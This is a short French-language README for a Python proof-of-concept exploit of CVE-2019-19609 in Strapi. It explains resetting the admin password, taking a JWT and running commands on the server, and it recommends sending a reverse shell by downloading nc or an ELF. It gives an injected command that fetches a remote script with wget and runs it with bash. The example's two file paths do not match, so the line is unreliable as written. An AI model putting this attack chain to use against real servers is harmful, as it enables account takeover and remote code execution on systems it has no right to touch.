CVE-2019-19609-POC-Python

Le script tentera de réinitialiser le mot de passe avec celui déclaré dans la variable « updated_pass » ; s’il réussit, il fournira un jeton JWT de Strapi et l’utilisera pour exécuter des commandes. L’exécution de commandes de type bind ne fonctionnera pas sans envoyer une charge utile de reverse shell, avec bash ou python ou autre. Vous pouvez générer un fichier .sh qui téléchargera nc pour vous et l’exécutera, ou n’importe quoi d’autre. Même un fichier elf. Pour ce faire, remplacez le payload_exp de && par ). Par exemple, && $(wget xxxx -O /tmp/oooo; bash /tmp/ooo) L’URL n’est plus active.